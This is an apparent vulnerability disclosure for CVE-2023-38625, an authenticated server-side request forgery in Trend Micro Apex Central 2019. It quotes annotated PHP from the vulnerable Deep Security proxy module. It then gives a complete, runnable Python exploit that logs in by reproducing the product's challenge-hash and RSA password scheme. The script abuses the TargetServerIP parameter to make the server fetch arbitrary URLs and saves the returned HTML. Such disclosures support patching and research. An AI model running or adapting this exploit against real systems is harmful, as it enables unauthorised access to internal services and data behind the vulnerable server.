(CVE-2023-38625) Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function proxy_register() {
    $ConnectionStatus = $this->loginDSMServerREST(); // [1]
    if ( $ConnectionStatus == WF_PROXY_ERR_NONE ) {
        mydebug_log("[modDeepSecurity][proxy_register] Login success.");
        $this->registerDSM();
        // ...
    }
    // ...
    $result = json_encode($this->m_productInformation) ;
    echo $result;
    // ...
}

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

protected function loginDSMServerREST() {
    mydebug_log("[modDeepSecurity][loginDSMServerREST] In.") ;
    $nRet = WF_PROXY_ERR_NONE ;
    $urlAPI = "{$this->wsRESTPort}/authentication/login" ; // [2]
    $this->oHttpObj->setURL($urlAPI) ;
    $this->oHttpObj->setHeader("Content-Type", 'Content-Type: application/json') ;
    $this->oHttpObj->setMethod_POST() ;
    // ...

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function proxy_init() {
    // ...
    $this->serverAddress = "{$this->cgiArgs['TargetProtocol']}://{$this->cgiArgs['TargetServerIP']}:{$this->cgiArgs['TargetPort']}" ; // [3]
    // ...
    $this->wsRESTPort = $this->serverAddress . $this->webUIPort . "/rest" ; 
}

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function proxy_register() {
    $ConnectionStatus = $this->loginDSMServerREST(); // [1]
    if ( $ConnectionStatus == WF_PROXY_ERR_NONE ) {
        mydebug_log("[modDeepSecurity][proxy_register] Login success.");
        $this->registerDSM(); // [4]
        // ...
    }
    // ...
    $result = json_encode($this->m_productInformation) ;
    echo $result;
    // ...
}

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modDeepSecurity/Proxy.php

public function registerDSM() {
    $apiVersion = $this->getRESTAPIVersion();
    $version = $this->getDSMVersion();
    if ( null == $version || null == $apiVersion ) {
        // ...
    } else {
        if ( version_compare($version, "9.0.5012") < 0 ) {
            $this->m_productInformation = array('response' => 'Logon', 'errcode' => TMDS_DEPLOY_ERROR_UNSUPPORTED_VERSION, 'message' => 'Make sure Deep Security 9.0 or above is installed at {$this->serverAddress}.', 'product_version' => $version, 'server_guid' => '' , 'product_id' => TMDS_PRODUCT_ID) ; // [5]
            // ...

# Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38625)
# Via: https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import random
import re
import requests
import string
import sys
from urllib.parse import urlparse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, ssrf_target

    print("\n===== Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38625) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD SSRF_TARGET_DOMAIN".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    ssrf_target = urlparse(sys.argv[4])

def authenticate():
    global s

    print("[+] Attempting to authenticate...")

    # MD5 hash the password, store as tempPassword
    temp_password = hashlib.md5(password.encode()).hexdigest().encode()

    # GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
    res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
    chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()

    # HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
    temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()

    # GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
    res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
    rsa_key = res.text.strip().encode()

    # Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
    cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
    ciphertext = cipher.encrypt(temp_password)
    encrypted_password = base64.b64encode(ciphertext)

    # Login
    data = {
        "Query": "Logon",
        "UserName": username,
        "PassWord": encrypted_password,
        "InstID": "",
        "Format": "",
        "Location": ""
    }
    res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)

    if ".ASPXAUTH" not in res.cookies:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)

    # Get PHPSESSID Cookie
    s.post("{}/webapp/widget/index.php".format(target), verify=False)
    print("[+] Authenticated successfully!")

def ssrf():
    print("[+] Performing SSRF...")
    payload = f"{ssrf_target.netloc}{ssrf_target.path}"
    random_param = "".join(random.choices(string.ascii_letters + string.digits, k=12))
    if ssrf_target.query:
        payload += f"?{ssrf_target.query}&{random_param}="
    else:
        payload += f"?{random_param}="
    
    res = s.get(f"{target}/webapp/widget/proxy_controller.php?module=modDeepSecurity&act=register&TargetProtocol={ssrf_target.scheme}&TargetServerIP={payload}", verify=False)
    res_json = json.loads(res.text)
    
    if res_json['errcode'] == 421 or res_json['errcode'] == 422:
        print("[!] SSRF target not accessible! This may be due to redirections or a typo.")
        sys.exit(1)
    elif res_json['errcode'] == 431:
        print("[+] SSRF successful! Partial HTML of SSRF target:\n")
        print(res_json['product_version'][:500]+"\n")
        with open(f"ssrf_target_output_{ssrf_target.netloc}.html", "w") as f:
            f.write(res_json['product_version'])
        print(f"[+] Full HTML written to 'ssrf_target_output_{ssrf_target.netloc}.html'!")
        sys.exit(0)

def main():
    check_args()
    authenticate()
    ssrf()

if __name__ == "__main__":
    main()